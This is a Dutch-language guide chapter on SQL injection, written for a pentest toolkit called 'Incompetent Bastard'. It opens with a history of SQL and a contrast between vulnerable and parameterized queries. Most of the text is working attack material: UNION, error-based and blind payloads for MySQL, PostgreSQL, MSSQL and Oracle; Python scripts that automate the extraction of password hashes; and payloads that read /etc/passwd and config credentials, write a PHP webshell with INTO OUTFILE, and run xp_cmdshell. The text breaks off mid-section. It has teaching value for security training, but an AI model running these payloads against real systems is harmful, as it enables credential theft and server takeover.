SQL Injection

De taal die we leerden wantrouwen

Er was een tijd — en het is nauwelijks vijftig jaar geleden, wat in de informatica neerkomt op de Middeleeuwen minus de pest — dat een man genaamd Edgar F. Codd bij IBM in San Jose zat en nadacht over een probleem dat iedereen irriteerde maar niemand echt wilde oplossen. Het was 1970. De Beatles vielen uit elkaar, Nixon was president, en bedrijfsdatabases waren een ramp van bijbelse proporties.

Databases bestonden uiteraard al. Maar ze werkten als een slechte bibliotheek: je moest precies weten in welke kast, op welke plank, achter welk boek je informatie lag. Verander de kast van plek, en al je programma’s braken. Het was alsof je elke keer dat de bibliothecaris een stoel verschoof, opnieuw moest leren lezen.

Codd had een idee dat zo elegant was dat zijn eigen werkgever het aanvankelijk negeerde — wat op zich al een teken is dat het briljant was. Hij stelde voor dat data georganiseerd moest worden in tabellen: rijen en kolommen, net als een keurig bijgehouden grootboek. En dat je een taal zou gebruiken om vragen te stellen aan die tabellen, zonder te hoeven weten hoe ze fysiek waren opgeslagen.

Stel je een enorme bibliotheek voor. Niet de Openbare Bibliotheek Amsterdam met haar gezellige chaos van kinderboeken naast filosofie, maar een perfecte, Platoonse bibliotheek. Elke boekenkast is een tabel. Elke plank is een rij. Elk boek heeft dezelfde structuur: auteur, titel, ISBN, publicatiejaar. Je hoeft niet te weten of de planken van eikenhout of MDF zijn. Je hoeft niet te weten of ze op de eerste of vijfde verdieping staan. Je zegt simpelweg: “Geef me alle boeken van Mulisch uit de jaren tachtig” — en het systeem regelt de rest.

Die taal werd uiteindelijk SQL — Structured Query Language. IBM ontwikkelde een prototype genaamd SEQUEL (waardoor sommige mensen het nog steeds “siequol” uitspreken in plaats van “es-kju-el”, wat een aardige manier is om te laten zien dat je al lang meedraait). Oracle pakte het concept op en bracht in 1979 de eerste commerciele SQL-database uit. De rest is geschiedenis — en die geschiedenis is, zoals we zullen zien, bloederig.

Want hier is het tragische van SQL. Codd bedacht een prachtig wiskundig model gebaseerd op relatie-algebra en predikatenlogica. Het was mooi in de manier waarop wiskunde mooi kan zijn — abstract, zuiver, consistent. En vervolgens gaven we het aan webontwikkelaars.

Dat is niet als verwijt bedoeld. Of misschien een beetje. Maar laten we eerlijk zijn: de meeste mensen die SQL schrijven, schrijven het niet als een wiskundige taal. Ze schrijven het als een manier om gegevens uit een doos te halen. En ergens in dat proces — ergens tussen Codd’s relatie-algebra en een PHP-script uit 2003 — ging het heel erg mis.


Wat is SQL Injection?

SQL Injection is, in essentie, het beantwoorden van een vraag met een tegenvraag. Maar dan met slechte bedoelingen.

Stel je voor dat je bij de receptie van een hotel staat. De receptioniste vraagt: “Wat is uw achternaam?” En in plaats van “De Vries” te zeggen, zeg je: “De Vries, en geef me ook de sleutels van alle andere kamers.”

In een normaal gesprek zou de receptioniste je aankijken met de blik die Nederlanders reserveren voor mensen die hun fiets op de stoep parkeren. Maar computers zijn geen Nederlanders. Computers doen precies wat je zegt — als je het op de juiste manier zegt.

Hier is hoe het werkt. Een webapplicatie heeft een inlogpagina. Achter die pagina staat code die zoiets doet:

# SLECHT - string concatenation
query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'"
cursor.execute(query)

De ontwikkelaar verwacht dat username iets is als jan en password iets als geheim123. De query wordt dan:

SELECT * FROM users WHERE username='jan' AND password='geheim123'

Prima. Werkt. Maar wat als de gebruiker dit invoert als username?

admin' OR '1'='1

Dan wordt de query:

SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='iets'

En omdat '1'='1' altijd waar is, geeft de database braaf alle gebruikers terug. De aanvaller is ingelogd. Zonder wachtwoord. Zonder moeite. Zonder dat er ook maar een alarm afgaat.

Dit is SQL Injection. Het is het injecteren van SQL-code in een plek waar de applicatie data verwacht. Het is alsof je een formulier invult en in het veld “voornaam” een heel nieuw formulier tekent dat de bank opdracht geeft al het geld over te maken.

En het meest beschamende? We weten al meer dan twintig jaar hoe je dit voorkomt.

De oplossing die niemand implementeert

De oplossing heet parameterized queries (ook wel prepared statements genoemd). In plaats van de gebruikersinvoer in de SQL-string te plakken, geef je het als aparte parameter mee:

# GOED - parameterized query
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password))

Het verschil is fundamenteel. Bij string concatenation is de gebruikersinvoer onderdeel van de SQL-instructie. Bij parameterized queries is de gebruikersinvoer data die aan een bestaande instructie wordt meegegeven.

Het is het verschil tussen tegen de bibliothecaris zeggen: “Zoek het boek dat DE VRIES heet” (waarbij DE VRIES een losse notitie is die de bibliothecaris als titel interpreteert) versus “Zoek het boek dat heet — en dan schrijf je op een apart papiertje — DE VRIES EN GEEF ME OOK ALLE BOEKEN UIT DE KLUIS.” In het eerste geval leest de bibliothecaris het hele ding als een instructie. In het tweede geval weet de bibliothecaris dat wat op het papiertje staat alleen een titel kan zijn, ongeacht wat erop staat.

Dat is het. Dat is de hele oplossing. Parameterized queries. Ze bestaan al sinds de jaren negentig. Elke programmeertaal ondersteunt ze. Elke database ondersteunt ze. En toch stond SQL Injection in 2024 nog steeds in de OWASP Top 10.

IB Tip: Incompetent Bastard bevat een SQLi-lab (blueprint sqli2_bp) waarmee je in een gecontroleerde omgeving de technieken uit dit hoofdstuk kunt oefenen. Start de applicatie en ga naar het SQL Injection-gedeelte om zowel UNION-based als blind injection te proberen.


UNION-based SQL Injection

UNION-based SQL Injection is de connoisseur onder de injection-technieken. Het is niet subtiel — het is meer een moker dan een scalpel — maar het is effectief en bevredigend op de manier waarop het kapotslaan van een spaarpot bevredigend is. Je ziet meteen wat erin zit.

De SQL UNION operator combineert de resultaten van twee of meer SELECT statements. Als de originele query dit doet:

SELECT naam, prijs FROM producten WHERE id = 1

Dan kan een aanvaller met UNION een extra query eraan plakken:

SELECT naam, prijs FROM producten WHERE id = 1
UNION
SELECT username, password FROM users

En de database geeft braaf de productnaam en alle gebruikersnamen en wachtwoorden terug. In dezelfde tabel. Naast elkaar. Als een ober die je hoofdgerecht serveert met daarbovenop de complete boekhouding van het restaurant.

Maar er is een vereiste: de twee SELECT statements moeten hetzelfde aantal kolommen retourneren, en de datatypes moeten compatibel zijn. Je kunt geen drie kolommen combineren met twee. Dat is als proberen een vierkante pin in een rond gat te stoppen — de database weigert.

Stap 1: Aantal kolommen bepalen

Voordat je kunt UNION-en, moet je weten hoeveel kolommen de originele query retourneert. Er zijn twee methoden.

Methode 1: ORDER BY

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -   -- als hier een error komt: 3 kolommen

ORDER BY 1 sorteert op de eerste kolom. ORDER BY 2 op de tweede. Je verhoogt tot je een foutmelding krijgt. De vorige waarde is het juiste aantal kolommen.

Methode 2: UNION SELECT NULL

' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL,NULL-- -   -- geen error? 4 kolommen

NULL is compatibel met elk datatype, dus je hoeft je geen zorgen te maken over type-mismatches. Je begint met een NULL en voegt er steeds eentje toe tot de error verdwijnt.

IB Tip: De -- - aan het einde is een SQL-comment. Het streepje- streepje-spatie (of -- - voor de zekerheid) zorgt ervoor dat de rest van de originele query wordt genegeerd. In MySQL werkt ook # als comment-teken.

Stap 2: Zichtbare kolommen vinden

Niet alle kolommen verschijnen zichtbaar op de pagina. Je moet weten welke kolommen daadwerkelijk worden weergegeven. Vervang de NULLs door herkenbare waarden:

' UNION SELECT 'a','b','c',4-- -

Als je op de pagina de letter b ziet verschijnen, weet je dat kolom 2 zichtbaar is. Dat is de kolom waar je je data doorheen gaat sluizen.

Stap 3: Data extraheren

Nu begint het echte werk. Je wilt weten welke tabellen er zijn, welke kolommen die tabellen hebben, en vervolgens wil je de data zelf.

MySQL / MariaDB

-- Alle tabellen in de huidige database
' UNION SELECT 1,group_concat(table_name),3,4
  FROM information_schema.tables
  WHERE table_schema=database()-- -

-- Kolommen van de tabel 'users'
' UNION SELECT 1,group_concat(column_name),3,4
  FROM information_schema.columns
  WHERE table_name='users'-- -

-- Gebruikersnamen en wachtwoorden
' UNION SELECT 1,username,password,4 FROM users-- -

De functie group_concat() is je beste vriend hier. Het plakt alle resultaten aan elkaar met komma’s ertussen, zodat je alles in een keer ziet in die ene zichtbare kolom.

IB Tip: Bij MariaDB kun je soms een “Illegal mix of collations” error krijgen. De fix: voeg COLLATE utf8mb4_general_ci toe na het veld. Bijvoorbeeld: group_concat(table_name COLLATE utf8mb4_general_ci)

PostgreSQL

PostgreSQL heeft group_concat() niet, maar gebruikt string_agg():

-- Alle tabellen in het public schema
' UNION SELECT 1,string_agg(table_name,','),3,4
  FROM information_schema.tables
  WHERE table_schema='public'-- -

-- Data ophalen
' UNION SELECT 1,username,password,4 FROM users-- -

MSSQL

Microsoft SQL Server is een beest apart. Het gebruikt sysobjects en syscolumns in plaats van (of naast) information_schema:

-- Alle tabellen
' UNION SELECT 1,name,3,4
  FROM sysobjects WHERE xtype='U'-- -

-- Kolommen van 'users'
' UNION SELECT 1,name,3,4
  FROM syscolumns
  WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -

Oracle

Oracle is de excentrieke oom die op elk familiefeest aandacht vraagt. Elke SELECT moet een FROM clause hebben, zelfs als je niets uit een tabel haalt:

-- Alle tabellen van een schema
' UNION SELECT NULL,table_name,NULL
  FROM all_tables WHERE owner='SCHEMA'-- -

-- "Ik wil gewoon een constante waarde"
SELECT 1,2 FROM dual
-- (dual is Oracle's speciale "doe alsof" tabel)

Het IB command file: web_sqli_union

Incompetent Bastard heeft dit alles samengevat in een command file die je via het dashboard kunt laden. Hier is de volledige inhoud:

# SQL Injection - UNION-Based (meerdere databases)
# Stap 1: Aantal kolommen bepalen
' ORDER BY 1-- -
' ORDER BY 2-- -
# (verhoog tot error -> vorige = juiste aantal)
# Of met NULL:
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
# Stap 2: Zichtbare kolommen vinden
' UNION SELECT 'a','b','c',4-- -
# === MySQL / MariaDB ===
' UNION SELECT 1,group_concat(table_name),3,4
  FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1,group_concat(column_name),3,4
  FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1,username,password,4 FROM users-- -
# Collation fix (MariaDB): ... COLLATE utf8mb4_general_ci FROM ...
# === PostgreSQL ===
' UNION SELECT 1,string_agg(table_name,','),3,4
  FROM information_schema.tables WHERE table_schema='public'-- -
' UNION SELECT 1,username,password,4 FROM users-- -
# === MSSQL ===
' UNION SELECT 1,name,3,4
  FROM sysobjects WHERE xtype='U'-- -
' UNION SELECT 1,name,3,4
  FROM syscolumns
  WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -
# === Oracle ===
' UNION SELECT NULL,table_name,NULL
  FROM all_tables WHERE owner='SCHEMA'-- -
# Tip: Oracle vereist FROM in elke SELECT: UNION SELECT 1,2 FROM dual

Dit bestand is je spiekbriefje. Elke keer dat je voor een webapplicatie zit en je vermoedt dat er SQLi mogelijk is, begin je hier. Van boven naar beneden. Systematisch. Zoals een volwassen mens dat doet.

Werkend voorbeeld: stap voor stap

Laten we een compleet voorbeeld doorlopen. We hebben een webshop met een URL als:

http://shop.local/product?id=3

De pagina toont een productnaam, prijs en beschrijving. We vermoeden SQLi.

Stap 1: Bevestig de kwetsbaarheid

http://shop.local/product?id=3'

Als je een SQL-error ziet (of de pagina breekt), is er waarschijnlijk SQLi.

Stap 2: Bepaal het aantal kolommen

http://shop.local/product?id=3' ORDER BY 1-- -   (OK)
http://shop.local/product?id=3' ORDER BY 2-- -   (OK)
http://shop.local/product?id=3' ORDER BY 3-- -   (OK)
http://shop.local/product?id=3' ORDER BY 4-- -   (ERROR)

Drie kolommen dus.

Stap 3: Vind zichtbare kolommen

http://shop.local/product?id=3' UNION SELECT 'AAA','BBB','CCC'-- -

Op de pagina zien we: productnaam = “BBB”, beschrijving = “CCC”. Kolommen 2 en 3 zijn zichtbaar.

Stap 4: Database-versie ophalen

http://shop.local/product?id=3' UNION SELECT 1,version(),3-- -

Output: 10.5.12-MariaDB — het is MariaDB.

Stap 5: Tabellen enumereren

http://shop.local/product?id=3' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -

Output: products,users,orders,sessions

Stap 6: Kolommen van ‘users’ bekijken

http://shop.local/product?id=3' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -

Output: id,username,password,email,role

Stap 7: Data dumpen

http://shop.local/product?id=3' UNION SELECT 1,group_concat(username,':',password),3 FROM users-- -

Output: admin:$2b$12$LJ3m4ys...,user1:$2b$12$xK9p2...

En daar zijn je bcrypt-hashes. Klaar om naar hashcat te sturen.

IB Tip: Gebruik group_concat(username,0x3a,password) als de applicatie de dubbele punt filtert. 0x3a is de hexadecimale representatie van : en wordt door de meeste filters niet herkend.


Error-based SQL Injection

Als UNION-based de moker is, dan is error-based SQL Injection de spreekkamer-truc. Je maakt expres een fout — een heel specifieke fout — en in de foutmelding die de database teruggeeft, zit de data die je zoekt.

Het is alsof je in een bibliotheek een boek opvraagt dat niet bestaat, en de bibliothecaris in zijn foutmelding per ongeluk zegt: “Dat boek hebben we niet, maar ik kan u vertellen dat het wachtwoord van de directeur ‘Welkom01’ is.”

De truc is dat bepaalde SQL-functies foutmeldingen genereren die de waarde bevatten die je probeert te evalueren. Je misbruikt het foutmechanisme als communicatiekanaal.

MySQL: EXTRACTVALUE en UPDATEXML

-- Database-versie via EXTRACTVALUE
' AND extractvalue('',concat('>',version()))-- -

Dit probeert een XPath-expressie te evalueren op een XML-document (dat leeg is). Dat mislukt, en de foutmelding bevat de versie:

XPATH syntax error: '>10.5.12-MariaDB'

Bingo. En nu alle tabellen:

' AND extractvalue('',concat('>',(SELECT group_concat(table_name)
  FROM information_schema.tables
  WHERE table_schema=database())))-- -

Foutmelding:

XPATH syntax error: '>products,users,orders,sessions'

UPDATEXML werkt op dezelfde manier:

' AND updatexml(1,concat('>',version()),1)-- -

MySQL: Double Query (Floor)

Er is een oudere, elegantere methode die gebruik maakt van rand() en floor():

' AND (SELECT 1 FROM (SELECT count(*),
  concat(version(),floor(rand(0)*2))x
  FROM information_schema.tables
  GROUP BY x)a)-- -

Dit veroorzaakt een “Duplicate entry” error die de versie bevat:

Duplicate entry '10.5.12-MariaDB1' for key 'group_key'

Het is niet de meest leesbare SQL ter wereld, maar het werkt al sinds MySQL 4.x.

MSSQL: CONVERT

MSSQL heeft geen EXTRACTVALUE, maar je kunt de CONVERT functie misbruiken:

' AND 1=CONVERT(int,@@version)-- -

MSSQL probeert de versiestring naar een integer te converteren, faalt, en geeft de versie terug in de foutmelding:

Conversion failed when converting the nvarchar value
'Microsoft SQL Server 2019 (RTM) - 15.0.2000.5...' to data type int.

Hetzelfde principe, andere functie:

-- Eerste tabel ophalen
' AND 1=CONVERT(int,(SELECT TOP 1 table_name
  FROM information_schema.tables))-- -

-- Eerste gebruikersnaam
' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))-- -

PostgreSQL: CAST

PostgreSQL werkt vergelijkbaar met CONVERT, via CAST:

' AND 1=CAST(version() AS int)-- -

-- Alle tabellen
' AND 1=CAST((SELECT string_agg(table_name,',')
  FROM information_schema.tables
  WHERE table_schema='public') AS int)-- -

Oracle

Oracle heeft zijn eigen exotische opties:

-- Via CTXSYS
' AND 1=CTXSYS.DRITHSX.SN(1,
  (SELECT banner FROM v$version WHERE ROWNUM=1))-- -

-- Via UTL_INADDR
' AND 1=UTL_INADDR.GET_HOST_NAME(
  (SELECT user FROM dual))-- -

Het IB command file: web_sqli_error

Het volledige command file in Incompetent Bastard:

# SQL Injection - Error-Based (data via foutmeldingen)
# === MySQL ===
# ExtractValue:
' AND extractvalue('',concat('>',version()))-- -
' AND extractvalue('',concat('>',(SELECT group_concat(table_name)
  FROM information_schema.tables
  WHERE table_schema=database())))-- -
# UpdateXML:
' AND updatexml(1,concat('>',version()),1)-- -
# Double query:
' AND (SELECT 1 FROM (SELECT count(*),
  concat(version(),floor(rand(0)*2))x
  FROM information_schema.tables GROUP BY x)a)-- -
# === MSSQL ===
# Cast error:
' AND 1=CONVERT(int,@@version)-- -
' AND 1=CONVERT(int,(SELECT TOP 1 table_name
  FROM information_schema.tables))-- -
' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))-- -
# === Oracle ===
# CTXSYS.DRITHSX.SN:
' AND 1=CTXSYS.DRITHSX.SN(1,
  (SELECT banner FROM v$version WHERE ROWNUM=1))-- -
# UTL_INADDR.GET_HOST_NAME:
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT user FROM dual))-- -
# === PostgreSQL ===
# Cast error:
' AND 1=CAST(version() AS int)-- -
' AND 1=CAST((SELECT string_agg(table_name,',')
  FROM information_schema.tables
  WHERE table_schema='public') AS int)-- -
# Tip: Error-based is snel maar vereist verbose foutmeldingen

IB Tip: Error-based injection werkt alleen als de applicatie foutmeldingen letterlijk doorgeeft aan de gebruiker. In productie- omgevingen met generic error pages (wat het zou moeten zijn) werkt dit niet. Maar je zou verbaasd zijn hoeveel “productie”-servers gewoon volledige stack traces tonen. In 2024. Aan iedereen.


Blind SQL Injection

En dan zijn er de momenten waarop de applicatie niets teruggeeft. Geen data. Geen foutmeldingen. Alleen een pagina die er hetzelfde uitziet of net iets anders. Dit is Blind SQL Injection, en het is als communiceren met een gevangene door op de muur te kloppen: een keer kloppen voor ja, twee keer voor nee.

Het is traag. Het is moeizaam. En het werkt.

Boolean-based Blind

Bij boolean-based blind injection reageert de applicatie anders op ware en onware condities. Misschien verschijnt er een product als de conditie waar is, en een lege pagina als het onwaar is. Of de tekst “Welkom” versus “Ongeldige invoer.”

Het principe:

-- Is het eerste karakter van de versie '5'? (MySQL)
' AND SUBSTRING(version(),1,1)='5'-- -

Als de pagina normaal laadt: ja, het is MySQL 5.x. Als de pagina breekt of leeg is: nee.

Nu kun je karakter voor karakter data extraheren:

-- Is het ASCII-waarde van het eerste karakter van het admin-wachtwoord
-- groter dan 96? (= komt het na de backtick in de ASCII-tabel?)
' AND (SELECT ASCII(SUBSTRING(password,1,1))
  FROM users WHERE username='admin')>96-- -

Door binary search toe te passen (is het groter dan 96? groter dan 112? groter dan 104? …) kun je met ongeveer 7 requests per karakter de exacte waarde bepalen. Voor een wachtwoord-hash van 60 karakters is dat 420 requests. Niet snel, maar geautomatiseerd heel goed te doen.

Per database

MySQL:

' AND SUBSTRING(version(),1,1)='5'-- -
' AND (SELECT ASCII(SUBSTRING(password,1,1))
  FROM users WHERE username='admin')>96-- -

MSSQL:

' AND SUBSTRING(@@version,1,1)='M'-- -

PostgreSQL:

' AND (SELECT SUBSTRING(version(),1,1))='P'-- -

Time-based Blind

Soms is zelfs de boolean-respons niet detecteerbaar. De pagina ziet er altijd hetzelfde uit, ongeacht de input. Dan gebruik je tijd als communicatiekanaal.

Het idee is simpel: als de conditie waar is, laat de database 5 seconden wachten. Als de conditie onwaar is, reageer direct. Je meet de response-tijd en leidt daaruit de waarheid af.

Het is alsof je een vriend belt en zegt: “Als je honger hebt, wacht dan vijf seconden voor je opneemt.” Je krijgt geen woord — maar die stilte zegt genoeg.

MySQL:

' AND IF(1=1,SLEEP(5),0)-- -

-- Karakter voor karakter
' AND IF((SELECT ASCII(SUBSTRING(password,1,1))
  FROM users WHERE username='admin')>96,SLEEP(5),0)-- -

MSSQL:

'; WAITFOR DELAY '0:0:5'-- -

'; IF (SELECT ASCII(SUBSTRING((SELECT TOP 1 password
  FROM users),1,1)))>96 WAITFOR DELAY '0:0:5'-- -

PostgreSQL:

'; SELECT CASE WHEN (1=1)
  THEN pg_sleep(5) ELSE pg_sleep(0) END-- -

'; SELECT CASE WHEN
  (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96)
  THEN pg_sleep(5) ELSE pg_sleep(0) END-- -

Oracle:

' AND 1=(CASE WHEN (1=1)
  THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -

PostgreSQL-specials

PostgreSQL heeft een paar handige trucs als quotes worden gefilterd:

-- CHR() bypass (geen quotes nodig)
CHR(65)||CHR(66)   -- = 'AB'

-- Dollar-quoted strings
$$string$$           -- = 'string'

Het IB command file: web_sqli_blind

# SQL Injection - Blind (Boolean + Time-Based)
# === BOOLEAN BLIND (response verschil = true/false) ===
# MySQL:
' AND SUBSTRING(version(),1,1)='5'-- -
' AND (SELECT ASCII(SUBSTRING(password,1,1))
  FROM users WHERE username='admin')>96-- -
# MSSQL:
' AND SUBSTRING(@@version,1,1)='M'-- -
# PostgreSQL:
' AND (SELECT SUBSTRING(version(),1,1))='P'-- -
# === TIME-BASED BLIND (geen zichtbaar verschil) ===
# MySQL:
' AND IF(1=1,SLEEP(5),0)-- -
' AND IF((SELECT ASCII(SUBSTRING(password,1,1))
  FROM users WHERE username='admin')>96,SLEEP(5),0)-- -
# MSSQL:
'; WAITFOR DELAY '0:0:5'-- -
'; IF (SELECT ASCII(SUBSTRING((SELECT TOP 1 password
  FROM users),1,1)))>96 WAITFOR DELAY '0:0:5'-- -
# PostgreSQL:
'; SELECT CASE WHEN (1=1)
  THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
'; SELECT CASE WHEN
  (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96)
  THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
# Oracle:
' AND 1=(CASE WHEN (1=1)
  THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -
# === PostgreSQL specials ===
# CHR() bypass (geen quotes nodig): CHR(65)||CHR(66) = 'AB'
# Dollar-quoted strings: $$string$$ = 'string'
# Tip: Automatiseer met Python script of sqlmap

Blind extractie automatiseren met Python

Het met de hand extraheren van data via blind injection is als het overschrijven van Oorlog en Vrede op een typemachine waarvan alleen de letter ‘a’ werkt. Technisch mogelijk, praktisch waanzin. Dus schrijven we een script.

Hier is een voorbeeld dat boolean-based blind injection automatiseert voor MySQL:

#!/usr/bin/env python3
"""
Blind SQL Injection - Boolean-based data extractor
Gebruik: python3 blind_extract.py
"""

import requests
import string
import sys

# === CONFIGURATIE ===
TARGET_URL = "http://shop.local/product"
PARAM = "id"
CLEAN_VALUE = "3"
TRUE_INDICATOR = "Laptop"  # tekst die verschijnt als conditie WAAR is

# Karakterset voor de zoekopdracht
CHARSET = string.printable

def is_true(payload: str) -> bool:
    """Stuur een payload en check of de response 'waar' aangeeft."""
    params = {PARAM: f"{CLEAN_VALUE}{payload}"}
    r = requests.get(TARGET_URL, params=params, timeout=10)
    return TRUE_INDICATOR in r.text

def extract_length(query: str, max_len: int = 100) -> int:
    """Bepaal de lengte van het resultaat met binary search."""
    low, high = 1, max_len
    while low < high:
        mid = (low + high) // 2
        payload = f"' AND (SELECT LENGTH(({query})))>{mid}-- -"
        if is_true(payload):
            low = mid + 1
        else:
            high = mid
    return low

def extract_char(query: str, position: int) -> str:
    """Extraheer een enkel karakter met binary search op ASCII-waarde."""
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        payload = (
            f"' AND (SELECT ASCII(SUBSTRING(({query}),{position},1)))"
            f">{mid}-- -"
        )
        if is_true(payload):
            low = mid + 1
        else:
            high = mid
    return chr(low)

def extract_data(query: str) -> str:
    """Extraheer het volledige resultaat van een SQL-query."""
    length = extract_length(query)
    print(f"[*] Lengte: {length} karakters")

    result = ""
    for i in range(1, length + 1):
        char = extract_char(query, i)
        result += char
        sys.stdout.write(f"\r[*] Data: {result}")
        sys.stdout.flush()

    print()  # newline
    return result

if __name__ == "__main__":
    print("[*] Blind SQLi Extractor")
    print("[*] Target:", TARGET_URL)
    print()

    # Stap 1: Database-versie
    print("[+] Database versie:")
    version = extract_data("SELECT version()")
    print(f"    {version}")
    print()

    # Stap 2: Tabelnamen
    print("[+] Tabellen in huidige database:")
    tables = extract_data(
        "SELECT group_concat(table_name) "
        "FROM information_schema.tables "
        "WHERE table_schema=database()"
    )
    print(f"    {tables}")
    print()

    # Stap 3: Gebruikers dumpen
    print("[+] Gebruikers:")
    users = extract_data(
        "SELECT group_concat(username,0x3a,password) FROM users"
    )
    print(f"    {users}")

Dit script gebruikt binary search: in plaats van alle 95 printbare ASCII-waarden te proberen, halveert het de zoekruimte bij elke request. Dat reduceert het van ~47 requests per karakter naar ~7.

En hier is de time-based variant, voor als er helemaal geen zichtbaar verschil is:

#!/usr/bin/env python3
"""
Blind SQL Injection - Time-based data extractor
"""

import requests
import sys
import time

TARGET_URL = "http://shop.local/product"
PARAM = "id"
CLEAN_VALUE = "3"
SLEEP_TIME = 2  # seconden
THRESHOLD = SLEEP_TIME - 0.5  # response moet langer dan dit zijn

def is_true(payload: str) -> bool:
    """Stuur payload, meet response-tijd."""
    params = {PARAM: f"{CLEAN_VALUE}{payload}"}
    start = time.time()
    try:
        requests.get(TARGET_URL, params=params, timeout=SLEEP_TIME + 5)
    except requests.Timeout:
        return True
    elapsed = time.time() - start
    return elapsed > THRESHOLD

def extract_char(query: str, position: int) -> str:
    """Extraheer een karakter via time-based blind."""
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        payload = (
            f"' AND IF((SELECT ASCII(SUBSTRING(({query}),"
            f"{position},1)))>{mid},"
            f"SLEEP({SLEEP_TIME}),0)-- -"
        )
        if is_true(payload):
            low = mid + 1
        else:
            high = mid
    return chr(low)

def extract_data(query: str, max_len: int = 64) -> str:
    """Extraheer data karakter voor karakter."""
    result = ""
    for i in range(1, max_len + 1):
        char = extract_char(query, i)
        if ord(char) <= 32:  # spatie of control char = einde
            break
        result += char
        sys.stdout.write(f"\r[*] Data: {result}")
        sys.stdout.flush()
    print()
    return result

if __name__ == "__main__":
    print(f"[*] Time-based Blind SQLi (sleep={SLEEP_TIME}s)")
    print(f"[!] Dit gaat langzaam. Haal koffie.")
    print()

    version = extract_data("SELECT version()")
    print(f"[+] Versie: {version}")

IB Tip: Time-based blind extraction is extreem langzaam. Voor een hash van 60 karakters met 7 requests per karakter a 2 seconden per request: 60 x 7 x 2 = 840 seconden = 14 minuten. Per hash. Gebruik het alleen als er geen andere optie is. Of gebruik sqlmap, dat dit allemaal voor je doet.


File Read/Write via SQL Injection

Soms is het lezen van database-inhoud niet genoeg. Soms wil je bestanden van het bestandssysteem lezen. Of — en hier wordt het echt gevaarlijk — bestanden schrijven. Want als je een bestand kunt schrijven naar de webroot, kun je een webshell plaatsen. En dan heb je remote code execution.

Van SQL Injection naar volledige server-controle. In twee stappen.

MySQL: bestanden lezen

-- /etc/passwd lezen
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -

-- Applicatieconfig lezen (database credentials!)
' UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3,4-- -

LOAD_FILE() leest een bestand van de server en retourneert het als string. Ideaal om configuratiebestanden te lezen die database-wachtwoorden bevatten. Want ja, de meeste PHP-applicaties bewaren hun database-credentials in een plaintext config-bestand. We zijn hier niet bij NASA.

Vereisten: - De MySQL-gebruiker moet de FILE privilege hebben - De variabele secure_file_priv mag niet restrictief zijn

Check secure_file_priv:

-- Via SQLi (als je al data kunt extraheren):
' UNION SELECT 1,@@secure_file_priv,3,4-- -

-- Of in een MySQL shell:
SHOW VARIABLES LIKE 'secure_file_priv';

Als secure_file_priv leeg is: je kunt overal lezen/schrijven. Als het een pad bevat (bijv. /var/lib/mysql-files/): je kunt alleen in dat pad werken. Als het NULL is: geen file operaties mogelijk.

MySQL: bestanden schrijven

-- Webshell schrijven
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3,4
  INTO OUTFILE '/var/www/html/shell.php'-- -

Dat schrijft een PHP-bestand naar de webroot. Bezoek vervolgens:

http://target/shell.php?cmd=id

En je hebt command execution.

Als de applicatie aanhalingstekens filtert, gebruik dan hex-encoding:

-- 0x3c3f... is de hex-waarde van <?php system($_GET["cmd"]); ?>
' UNION SELECT 1,
  0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e,
  3,4 INTO OUTFILE '/var/www/html/shell.php'-- -

Vereisten: - FILE privilege - Schrijfrechten op het pad - secure_file_priv staat het toe

PostgreSQL: bestanden lezen en schrijven

PostgreSQL heeft zijn eigen mechanismen:

-- Bestand lezen (superuser of standaard in data directory)
' UNION SELECT 1,pg_read_file('/etc/passwd'),3-- -

Voor meer geavanceerde scenario’s zijn er Large Objects:

-- Bestand importeren als Large Object
SELECT lo_import('/etc/passwd', 1337);
-- Large Object lezen
SELECT lo_get(1337);

-- Bestand schrijven via Large Objects
SELECT lo_from_bytea(0, decode('base64data', 'base64'));
SELECT lo_export(0, '/var/www/html/shell.php');

Via COPY:

COPY (SELECT '') TO '/tmp/test.txt';

MSSQL: bestanden lezen

MSSQL heeft geen directe LOAD_FILE() equivalent, maar met xp_cmdshell kun je het besturingssysteem zelf bestanden laten lezen:

' UNION SELECT 1,2,3,4;
  EXEC xp_cmdshell 'type C:\inetpub\wwwroot\web.config'-- -

Het IB command file: web_sqli_file_rw

# SQL Injection - File Read/Write
# === MySQL File Lezen ===
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -
' UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3,4-- -
# Vereist: FILE privilege + secure_file_priv niet restrictief
# === MySQL File Schrijven (webshell) ===
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3,4
  INTO OUTFILE '/var/www/html/shell.php'-- -
' UNION SELECT 1,
  0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e,
  3,4 INTO OUTFILE '/var/www/html/shell.php'-- -
# Vereist: FILE privilege + schrijfrechten op pad
# === PostgreSQL File Lezen ===
